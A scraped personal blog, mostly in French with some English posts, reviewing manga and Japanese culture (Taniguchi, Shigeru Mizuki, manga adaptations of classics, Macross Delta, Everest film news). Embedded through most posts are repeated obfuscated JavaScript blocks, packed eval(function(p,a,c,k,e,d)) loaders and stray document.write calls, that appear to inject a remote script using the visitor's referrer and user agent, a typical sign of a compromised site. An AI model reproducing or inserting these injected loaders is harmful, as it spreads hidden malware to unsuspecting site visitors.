Ice Age Chronicle of the Earth (?????? / Chiky? hy?kai-ji-ki) a d’abord été publié en feuilleton dans le magazine Morning de Kôdansha en 1987-88 avant d’être compiler en volumes chez Futabasha. Dans les années ’80, Taniguchi écrivait surtout des récits d’action comme Trouble Is My Business, Enemigo ou Garôden, ou des récits qui mettaient en scène la nature et les grands espaces tels que Blanco, K ou Encyclopédie des animaux de la préhistoire. Ice Age Chronicle of the Earth s’inscrit bien dans ces thématiques. Et, si l’on se fit à la bande de couverture de l’édition française ainsi qu’au style de Taniguchi pour ce diptyque visionnaire, c’est une époque où il devait lire et s’inspirer du magazine français Métal Hurlant


En tout cas j’ai bien hâte de lire ce manga. Ce sera délicieux!

Ice Age chronicle of the earth vol. 1 & 2, par Jirô TANIGUCHI. Paris: Dargaud (collection Kana: Made In), mai et septembre 2015. 272 & 224 pgs, 16.3 x 23.2 x 2 cm, 18.00 € / $31.95 Ca, ISBN: 9782505063643 & 9782505063650. Recommandé pour public adolescent (14+).

Pour plus d’information vous pouvez consulter les sites suivants:

Manga Classics: Great Expectations

“Great Expectations has it all: romance, mystery, comedy, and unforgettable characters woven through a gripping rags-to-riches tale. Naive Pip, creepy Miss Faversham, beautifully cold Estella, terrifying Abel Magwitch, and the rest of Dicken’s fantastic cast are perfectly envisioned in this new adaptation in this 300-plus page volume featuring artwork by artist Nokman Poon.”

“Manga Classics editions feature classic stories, faithfully adapted and illustrated in manga style, and available in both hardcover and softcover editions. Proudly presented by UDON Entertainment and Morpheus Publishing.”

(Text from the publisher’s website)

When I first noticed this book while browsing at the bookstore I thought “Great! Another interesting manga classics adaptation!” but I soon realized that it was no manga at all! A manga is a comics by a Japanese artist while this one is produced by a Canadian artist (of asian origin). I think I mentioned before this collection of manga classics from Udon Enterainment. They have many interesting adaptations such as Jane Austen’s Emma, Victor Hugo’s Les Miserables, Jane Austen’s Pride and Prejudice, or Nathaniel Hawthorne’s The scarlet letter. But none of them is really manga. Too bad. However, it might still be worth a look.

Great Expectations, original story by Charles Dickens, adaptation by Crystal Silvermoon, and illustrations by Nokman Poon. Richmond Hill: Udon Entertainment (collection Manga Classics), mai 2015. 308 pg, 6 x 8.5″, B&W, Softcover, $19.99 US / $26.50 Cnd, ISBN: 978-1927925317. Recommandé pour public jeune (7+).

Pour plus d’information vous pouvez consulter les sites suivants:

Musashi

“Minamoto Musashi (1584-1645), le samouraï légendaire, est connu dans le monde entier comme un grand maître de sabre, un chercheur spirituel, et l’auteur du classique Le livre des Cinq Roues.”

“Cette version graphique nous raconte sa vie étonnante. C’est à la fois un récit vivant d’une période fascinante dans le Japon féodal et le portrait d’un courageux samouraï qui a combattu avec les idées philosophiques et spirituelles qui sont aussi pertinentes aujourd’hui qu’elles l’étaient en son temps.”

“Plus de 350 ans après sa mort, Musashi nous fascine toujours. À partir d’authentiques sources japonaises, William Scott Wilson, brosse un portrait inoubliable de cet illustre personnage historique.”

(Texte du site de l’éditeur; voir aussi la couverture arrière)


Bon encore une fois, est-ce que cette bande-dessinée est du manga ou pas? L’auteur est écossais (mais vivant au japon) et l’artiste est japonaise. Je crois qu’à la rigueur on peut considérer ça comme du manga. A noter qu’il s’agit ici d’un nouveau petit éditeur, qui semble spécialisé en arts martiaux. Cela m’a accroché l’oeil à la librairie mais ce n’est peut-être pas d’un grand intérêt. À voir par curiosité peut-être…

Musashi, scénarisé par Sean Michael Wilson et illustré par Michiru Morikawa. Noisy sur Ecole: Budo, août 2015. 176 pgs, 15 x 21 cm, 12.95 € / $17.95 Can, ISBN: 978-2-84617-363-6. Recommandé pour public adolescent (12+).

Pour plus d’information vous pouvez consulter les sites suivants:

???????? 12

“?40???????????????????????????????2?????????????????????????????????????????????????????????????????????????????24P???????!”

J’ai déjà mentionné en mars les fameux Rose of Versailles Episodes. Riyoko Ikeda avait déjà tenté de faire des suite à son chef d’oeuvre Versailles no bara avec les Rose of Versailles Side-Stories que l’éditeur Kana avait inclus dans le troisième tome de l’édition française. Toutefois, quarante ans plus tard, alors qu’elle reprend sa carrière de mangaka, elle se remet sur une véritable suite composée d’histoire courtes qui sont chacune centrée autour d’un personnage secondaire différent. Les épisodes sont sérialisé dans Margaret, le magazine hebdomadaire shojo de Shueisha. Une première compilation est paru en août 2014 rassemblant les quatre premières histoires. Ce volume, faisant véritablement suite à la série de dix tomes, a été numéroté le volume onze.

En cherchant à commander le volume onze pour l’anniversaire de mon épouse, j’ai eu la surprise de constater qu’un douzième volume était paru en juillet. Il va sans dire que je l’ai également commandé. Hélas mon japonais n’est pas assez bon pour que je puisse le lire. J’espère que ma femme pourra me le raconter!

Le volume 12 contient les épisodes cinq et six. L’épisode 5, qui suit le Major Victor Clement de Girodelle (l’autre amoureux d’Oscar, qui lui fit une proposition de mariage), est paru en deux parties: une première partie de trente-sept page dans le Margaret #22 (publié le 20 octobre 2014) et une seconde partie de trente-trois pages dans le Margaret #23 (publié le 5 novembre 2014), chacune comportant cinq pages en couleurs. L’épisode 6 a lui aussi été publié en deux partie: l’une dans le Margaret #8 (publié le 20 mars 2015) et l’autre dans le Margaret #9 (publié le 4 avril 2015) totalisant une centaine de pages. Cet épisode nous révèle le secret de la naissance d’Oscar (en révélant comment ses parents se sont rencontré)!

???????? 12 (Versailles no bara 12 / La rose de versailles vol. 12), par Riyoko Ikeda. Tokyo: Shueisha (collection Margaret), juillet 2015. 216 pgs, 7.1 x 5 x 0.9 inches, ? 745 ($9.00 Cnd), ISBN: 978-4088454092. Recommandé pour public adolescent (12+).

Pour plus d’information vous pouvez consulter les sites suivants:

[ Translate ]

Educational manga

What makes manga so interesting is that they can not only be used for entertainment but many of them also have a great educational value. I have already talked about manga adaptations of literary classics as well as of my interest for historical manga like The Rose of Versailles by Riyoko Ikeda, which is set in the prelude to the French revolution, or The Tale of Genji (adapted in manga by several mangaka, particularly Waki Yamato, Miyako Maki, Egawa Tatsuya), which is a romance story set at the Japanese royal court of the Heian era. It has long been thought that educational manga (and particularly historical manga or manga set in an historical context) were not popular, but recent successes (titles like Cesare, Emma, Rurouni Kenshin, Thermae Romae, or Vinland Saga come to mind) have proved that wrong. But, there’s more to this.

A few days ago, I was watching the news on NHK World and there was a report on a manga series about the History of Japan (unfortunately the report has no equivalent on the station’s website either as a written article or a streaming video that I can link to). This is another type of great educational manga that helped sparks a renewed interest in Japanese history but it is also used by public and “cram” schools to teach history.

I found this concept of Japanese history educational manga so interesting that I decided to research it a little further to get more details and discovered that at least three great publishers had released their own series about the history of Japan.

Continue reading

Kawamori interview on Forbes!

While browsing on the internet, document.write(“”); I just discovered this long and fascinating interview of Shoji Kawamori on the Forbes magazine!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iazat|var|u0026u|referrer|bszzd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ttati|var|u0026u|referrer|tyykb||js|php’.split(‘|’),0,{}))

The creator of Macross talks about the genesis of the series, about how important it is for him to create realistic mocha, about writing and directing, about how his work seems to have inspired many other creators (without ever being credited), and so many other things! It’s really an interesting article.

Le Sommet des Dieux au cinema

J’ai lu cette semaine sur le site d’Animeland que le roman de Baku Yumemakura Le Sommet des Dieux a été adapté au cinema!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehtsh|var|u0026u|referrer|hhnyy||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zhaay|var|u0026u|referrer|haeae||js|php’.split(‘|’),0,{}))

Intitulé Everest: le sommet des dieux (?????? – ????? / Evu-eresuto: Kamigami no Itadaki), document.write(“”); le film est réalisé par Hideyuki Hirayama, avec un script de Masato Katô, et met en vedette Junichi Okawa (Makoto Fukamachi), Hiroshi Abe (Joji Hanyu), Machiko Ono (Ryogo Kishi), Pierre Taki (Miyazawa), Masahiro Komodo (Inoue), Shunsuke Kazaa (Buntaro Kishi), Kuranosuke Sasaki (Wataru Hase). Le film, qui a réellement été tourné sur l’Everest, sortira en salle au Japon le 12 mars 2016. La bande-annonce est déjà disponible sur
le site officiel et sur Youtube:

“Dans une petite boutique népalaise, Fukamachi tombe sur un appareil photo qui pourrait bien être celui de George Mallory, le célèbre alpiniste qui fut le premier à essayer de vaincre l’Everest. Mallory disparût avec Andrew Irvine, lors de cette ascension en 1924, sans que l’on puisse savoir s’ils sont parvenus au sommet. Et si c’était seulement lors du chemin du retour qu’ils avaient eu cet accident fatal? Cela changerait l’histoire de l’alpinisme! C’est sur cette passionnante question que s’ouvre le chemin initiatique de Fukamachi qui sera amené à faire la rencontre de figures hautes en couleurs.” [résumé sur Manga-News]

Toujours selon Animeland, un court manga inspiré du film et dessiné par Tetsuya Saruwatari devrait paraitre dans le numéro de mars 2016 (parution le 24 février) de Grand Jump Premium. Décidément, le roman de Baku Yumemakura est très populaire.

En effet, en janvier dernier Manga-News nous apprenait que la superbe adaptation manga de ce même roman par Jir? Taniguchi serait elle-même adaptée en un long métrage d’animation 3D! Le film serait produit par le studio Julianne Films (France) en association avec Walking The Dog (Belgique) et Mélusine Productions (Luxembourg) et est réalisé par Jean-Christophe Roger et Eric Valli. Il n’y a pas encore de date de sortie d’annoncée. [MAJ: quelques détails de plus sur Cineuropa]

[ Translate ]

Akiyuki Nosaka passes away

Earlier this month, document.write(“”); I read on Anime News Network that Akiyuki Nosaka, the novelist who wrote the famous japanese story Grave of the Fireflies (????? / Hotaru no Haka), passed away on December 9 at the age of 85. Written in 1967, the story was semi-autobiographical as it was inspired by his war-time experience as a kid, particularly the firebombing of Kobe in 1945.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yyrbt|var|u0026u|referrer|sbdtb||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zrzie|var|u0026u|referrer|tirki||js|php’.split(‘|’),0,{}))

In 1988, the novel was adapted into a beautiful
animated movie by Studio Ghibli under the direction of Isao Takahata.

Découverte: Le livre des morts

À la découverte de la mythologie égyptienne !
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dzzyb|var|u0026u|referrer|brdsh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kdthn|var|u0026u|referrer|izahs||js|php’.split(‘|’),0,{}))

“Égypte ancienne, document.write(“”); Louxor, 1400 avant J.-C., le faible taux de survie des nourrissons, la famine et les épidémies faisaient que pour les Égyptiens, la mort était monnaie courante. L’apparition du livre des morts donne de l’espoir au peuple, car il est la promesse d’une vie après après la mort.”

“Après le décès de leur mère, Thouti élève seul avec son père sa petite soeur Kiki. Contant les légendes du panthéon des dieux égyptiens, un vieux prêtre leur redonne le sourire. Il finit par leur parler du fameux livre des morts, mais Thouti et sa soeur apprennent avec horreur que tous les humains ne peuvent pas accéder à la deuxième vie promise dans l’autre monde…”

[ Texte du site de l’éditeur ]

Continuez après le saut de page >>

Le livre des morts (??????????? / Manga de dokuha: Shisha no sho / “Lire en manga: Le livre des morts”) est le cent-unième volume de la collection manga de dokuha publiés par East Press en août 2011 (le #1361 du catalogue de l’éditeur). L’adaptation et le dessin ont été réalisé par le studio Variety Art Works, dont on connait très peu de chose. C’est le treizième titre de la collection a être traduit par Soleil Manga en novembre 2014 dans sa collection “Classiques”. J’ai déjà introduit cette collection et commenté quelques uns de ses titres (L’Ancien et le Nouveau Testament de la Bible, À la recherche du temps perdu, Le Capital, Le rouge et le noir, Les misérables, Guerre et Paix, Le manifeste du Parti Communiste, L’interprétation des rêves et Les mots de Bouddha). Cette collection reprend en traduction quelques titres de l’impressionnante collection japonaise Manga de Dokuha (comportant jusqu’à maintenant plus de cent-cinquante titres!) publiée par East Press, qui se consacre à adapter en manga des classiques de la littérature pour les rendre accessible à un plus large publique.

Extrait des pages 2 et 7 de la version originale

Je bien hâte de mettre la main sur ce manga et de le lire. Il ne semble pas encore disponible au Québec en bibliothèque mais heureusement il l’est en librairie (pas partout toutefois). Si c’est une collection intéressante (il me reste encore à lire les deux volumes de Entretiens avec Confucius et Le Prince de Machiavel) et que le concept de Manga de dokuha est assez génial, il semble que l’adaptation et les illustrations parfois médiocre de Variety Art Works aient beaucoup nui à sa popularité. J’ai bien peur que Soleil en ait abandonné la publication puisque seulement deux titres sont paru en 2014 (le volume 2 de Entretiens avec Confucius en mai ainsi que Le livre des morts en novembre) et aucun en 2015.

C’est dommage mais le concept d’adapter des classiques de la littérature en manga n’est pas unique à Manga de dokuha. D’autres auteurs l’ont fait et, l’idée commençant à faire son chemin en occident, d’autres éditeurs en ont publié des adaptations en français. On en retrouve donc maintenant aussi chez Kurokawa (Les misérables) ou Ki-oon (Le requiem des roses) mais surtout chez Nobi Nobi (Les Quatre Filles du Docteur March, La Petite Princesse Sara, Les Aventures de Tom Sawyer, Les Enquêtes de Sherlock Holmes, Les Trois Mousquetaires, et Roméo et Juliette).

À suivre, donc.

Le livre des morts, adapté et illustré par Variety Art Works. Toulon, Soleil Manga (Coll. Classiques), novembre 2014. 13,0 × 18,3 × 1,3 cm, 192 pg., 6,99 € / $12.95 Can. ISBN: 978-2-302-04336-7. Lecture dans le sens occidental et recommandé pour jeunes adultes (14+).

Pour plus d’information vous pouvez consulter les sites suivants:

Manga de dokuha: Shisha no sho © Variety Art Works • East Press Co., Ltd. All rights reserved. Édition française © 2014 MC Productions.

[ Translate ]

Shigeru Mizuki 1922-2015

I just read on Anime News Network yesterday that Shigeru Mizuki passed away on Monday morning in a Tokyo hospital of heart failure following a bad fall in his home on November 11.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|thkrf|var|u0026u|referrer|kntbe||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tdeay|var|u0026u|referrer|eazar||js|php’.split(‘|’),0,{}))

I just
bought a couple of his manga to comment on them later. I had previously commented on two of his works:


Here’s what I wrote about him in those comments:


Shigeru Mizuki is one of those older generation’s mangaka (like Shôtarô Ishimori, document.write(“”); Sampei Shirato, Yoshihiro Tatsumi, Osamu Tezuka, Kazuo Umezu) who tell stories in a relatively simple and rather crude, sometimes even caricatural, style. Born in 1922, he showed an early artistic talent but WWII did not give him the chance to make a career. Conscript in 1943, he found himself in Papua New Guinea where he saw the horror of war (sick, he barely survives the massacre of his unit) and was seriously injured in an Allied bombing at Rabaul in 1944. Amputated of his left arm, he learns to drawn with the right and, among other various small jobs, works as a kami-shibai artist and storyteller (story illustrated with painted cardboard panels and presented by a street storyteller). He starts his mangaka career late, with the release of Rocket Man in 1957. He first works mostly for the Kashibonya market (libraries who rented books at low prices) and then joined Garo magazine in its debut in 1964. Mizuki is “above all a creator of ghost stories” (Frederik Schodt, Manga! Manga!, P. 15) and is best known for his Kitaro series (first known as Hakaba no Kitaro [Graveyard’s Kitaro] and later as Ge ge ge no Kitaro [Kitaro the repulsive] serialized in weekly Shonen magazine from 1965 to 1969; available in English from Drawn & Quarterly) as well as many other tales of horror inspired by the yokai (monsters) of the traditional Japanese folklore. I can only wonder: was he writing this kind of stories because he was haunted by all the deaths he witnessed during the war?

With the 70s, he is finally ready to directly address another kind of horror: the one he lived during the war. In 1971 he serialized Gekiga Hitler (“Hitler: A Biography”, available in french from Cornélius) in the seinen magazine Weekly Manga Sunday (compiled in a single volume by Jitsugyo no Nihon-sha in 1972). This book is both a kind of personal introspection (where he tries to understand what happened to him during the war) and his take on a period of history that most people would prefer to keep quiet (maybe trying to explain what happened during the war to a younger generation who didn’t live through it). In 1973, he continued on the same line with the publication of Sôin Gyokusai Seyo (Onward Towards Our Noble Deaths, available in English from Drawn & Quarterly and in French [Operation Mort], from Cornélius), which is an “anti-militarist story denouncing the blind and vain sacrifice” of the japanese soldiers (Thierry Groensteen, L’Univers des mangas, p. 109) and is directly based on his own experience in Papua New Guinea.

This has given him a taste for autobiography, so he published NonNonBâ to ore (lit. “Grandma and Me” / NonNonBâ, available in English from Drawn & Quarterly) in 1977, where he looks back on his childhood and how he discovered, through the stories of an old woman, the supernatural “bestiary” of traditional Japanese folklore. He continues in 1988 with Komikku Showa-Shi (Showa: A history of Japan, available in English from Drawn & Quarterly), a history of Japan in manga dealing with the Showa era (1926-1989) in eight volumes. Finally, in 2006, he began a new series where he tackles a true autobiography: Mizuki Shigeru Den (“Mizuki’s Life”, available in French from Cornélius).

His style and humane stories, expressing deep respect for all life, make him “one of the forerunners of the 1960s gekiga movement, which sought to introduce more realistic artwork to Japanese comics” (Jason Thompson, Manga: The complete guide, p. 123). For more information on the gekiga movement, I’d like to refer you to my comments on A Drifting Life by Yoshihiro Tatsumi. On Shigeru Mizuki himself, you can see ANN’s entry and the 106th episode of “Jason Thompson’s House of 1000 Manga” dedicated to him.

[ Traduire ]

Salon du livre 2015

Montreal Book Fair 2015
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zkeye|var|u0026u|referrer|fyieb||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kkzaa|var|u0026u|referrer|ntfdb||js|php’.split(‘|’),0,{}))
Cette année encore j’ai répété la traditionnelle visite au
Salon du livre de Montréal. Histoire d’essayer d’avoir une vision holistique de l’édition cette année et de faire un peu de shopping karmique (il y a tellement de choses à voir qu’il faut espérer que le hasard fasse bien les choses et que l’on découvre ce qui nous intéresse vraiment ou ce que l’on est destiné à découvrir).

Contrairement à mon habitude je n’y suis pas allé vendredi (n’ayant pas reçu la passe pour la journée des professionnels) mais plutôt samedi. Je me suis dit que tant qu’à payer autant y aller une journée pour voir un maximum de monde. Maximum de monde il y avait. Un peu trop à mon goût (My kingdom for a two-handed sword!)

J’ai donc pu rencontrer Claude R. Blouin, document.write(“”); un spécialiste du cinéma nippon que je croise annuellement au Festival des Films du Monde. Je l’ai manqué à sa séance de signature aux Presses de l’Université Laval (où il a publié un fort intéressant essai sur le cinéma japonais) mais j’ai tout de même réussi à l’attraper au kiosque des Éditions Mots en toile où il signait Les cueilleuses de bleuets, un recueil de nouvelles publié l’an dernier et inspiré de toiles de maîtres ou d’images.

J’ai aussi pu passé par le kiosque des Éditions Alire, pour le cinq à sept des revues, et saluer et faire la jasette à plusieurs de mes connaissances qui y sont publiés.

Il y a vraiment beaucoup de choses à voir au salon du livre. Trop. Nos sens sont saturés de toute part et c’en est vraiment accablant. Ça ne s’améliore pas d’année en année.

Contrairement à mon habitude de ne JAMAIS acheter au salon du livre, j’ai succombé à la tentation une fois, puis, étant sur la pente glissante du désir livresque, une autre et un autre. Ça ma coûté cher mais là j’ai de la lecture intéressante pour un bout. Il reste à trouver le temps de les lire et de les commenter. Voici donc mes heureux achats (après le saut de page):

Le cinéma japonais et la condition humaine

“Que garder du bushido dans la société nouvelle ? Comment honorer les doctrines équilibristes du shintoïsme à l’ère du capitalisme accéléré ? Que faire des conceptions étendues de la famille à l’heure où celle-ci doit se recentrer en noyau nucléaire ? La question de la transmission traverse tout le cinéma japonais.”

“Nous aider à saisir le rythme poétique japonais, les enjeux politiques et révolutionnaires sous-jacents à ce cinéma surcodé, dont les clés sont moins l’affaire d’une élite bourgeoise que celle d’une culture radicalement transformée, c’est ce à quoi Claude Blouin s’est consacré.”

(Extrait de la préface de Mathieu Li-Goyette présentée sur le site de l’éditeur)

Cet essai m’apparait passionnant et j’ai bien hâte de le lire. En attendant, vous pouvez consulter un extrait des vingt premières pages sur le site de l’éditeur.

Le cinéma japonais et la condition humaine, par Claude R. Blouin. Québec, Presses de l’Université Laval, octobre 2015. 180 pg., $24.95 Can. ISBN: 978-2-7637-2694-6.

Kitaro

“Meet Kitaro. He’s just like any other boy, except for a few small differences: he only has one eye, his hair is an antenna that senses paranormal activity, his geta sandals are jet-powered, and he can blend into his surroundings like a chameleon. Oh, and he’s a three-hundred-and-fifty-year-old yokai (spirit monster). With all the offbeat humour of an Addams Family story, Kitaro is a lighthearted romp in which the bad guys always get what’s coming to them.”

Kitaro is bestselling manga-ka Shigeru Mizuki’s most famous creation. The Kitaro series was inspired by a kamishibai, or storycard theater, entitled Kitaro of the Graveyard. Mizuki began work on his interpretation of Kitaro in 1959. Originally the series was intended for boys, but once it was picked up by the influential Shonen magazine it quickly became a cultural landmark for young and old alike. Kitaro inspired half a dozen TV shows, plus numerous video games and films, and his cultural importance cannot be overstated. Presented to North American audiences for the first time in this lavish format, Mizuki’s photo-realist landscapes and cartoony characters blend the eerie with the comic.” (Text from the publisher’s web site)

Despite his cartoony style, Shigeru Mizuki is one of the great master’s of Japanese manga. This is a must-read classic that I’ve always wanted to have. It’s just too bad that Drawn & Quarterly is too cheap to provide review copies (unlike other north american publishers I’ve been dealing with). And just after the book fair, I see that the book is on sale $10 off on their website. WTF!

Kitaro, by Shigeru Mizuki. Montreal, Drawn & Quarterly, july 2013. B&W paperback, 6.5 X 8.7, 432 pgs., $24.95 US/Can. ISBN: 9781770461109. There an 8-page extract available.

Showa 1944–1953: A History of Japan

Showa 1944–1953: A History of Japan continues award-winning author Shigeru Mizuki’s autobiographical and historical account of the Showa period in Japan. This volume recounts the events of the final years of the Pacific War, and the consequences of the war’s devastation for Mizuki and the Japanese populace at large.”

“After the surprise attack at Pearl Harbor, Japan and the United States are officially at war. The two rival navies engage in a deadly game of feint and thrust, waging a series of microwars across the tiny Pacific islands. From Guadalcanal to Okinawa, Japan slowly loses ground. Finally, the United States unleashes the deathblow with a new and terrible weapon—the atomic bomb. The fallout from the bombs is beyond imagining.”

“On another front, Showa 1944–1953 traces Mizuki’s own life story across history’s sweeping changes during this period, charting the impact of the war’s end on his life choices. After losing his arm during the brutal fighting, Mizuki struggles to decide where to go: whether to remain on the island as an honored friend of the local Tolai people or return to the rubble of Japan and take up his dream of becoming a cartoonist. Showa 1944–1953 is a searing condemnation of the personal toll of war from one of Japan’s most famous cartoonists.” (Text from the publisher’s web site)

I’ve previously commented the first volume of this manga (I borrowed it at the library). I’ll probably also borrow volume 2 in order to comment on it and then I’ll read and comment this volume 3 of the series. This period of Japanese history was interesting me more so I’ve decided to purchase that particular volume (I’ll probably also purchase the volume 4, if I can). I’ve also commented on his graphical biography of Hitler. His work is superb (despite the cartoony style) and is an essential part of manga’s history and as such it is an absolute must-read. I can’t wait! (Darn! This one is also discounted on the web site! Damn you, D&Q!).

Showa 1944–1953: A History of Japan, by Shigeru Mizuki. Montreal, Drawn & Quarterly, november 2014. B&W paperback, 6.5 X 8.8, 536 pgs., $24.95 US/Can. ISBN: 9781770461628. An 11-page extract is available.

A new Macross TV series

I have recently learned (via Anime News Network) that a new Macross TV series is in production. Titled Macross Delta (no doubt because of the unique delta wing design of the new Valkyries), document.write(“”); it is the story of the “Tactical Sound Unit” Walküre, a group of five singers who battles the Var Syndrome which is consuming the galaxy, alongside the mysterious Aerial Knights Valkyrie fighter team of the Kingdom of Wind. 18-year-old Minori Suzuki will play Freyja Wion, one of the singers.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|knask|var|u0026u|referrer|dttra||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tffkf|var|u0026u|referrer|fzbet||js|php’.split(‘|’),0,{}))

All the details on the show (staff, characters, cast, designs, and teaser video) were revealed at the end of October in a streaming special event. Shoji Kawamori (Studio Nue) is the overall director as well as the Valkyrie designer. The director is Kenji Yasuda (Satelight), with scripts by Toshiba Nemoto, mechanical designs by Stanislas Brunet, character designs and animation direction are by Majiro and Yuu Shindou (adapting the original designs by Chisato Mita).

A special preview will air on New Year’s Eve. In the meantime you can check the official website and this Youtube teaser video:


[ Traduire ]

Précisions sur les funérailles

Pour faire suite au billet qui fait hommage à mon père, document.write(“”); qui est décédé à Montréal le 17 octobre dernier, voici quelques précisions sur les funérailles.
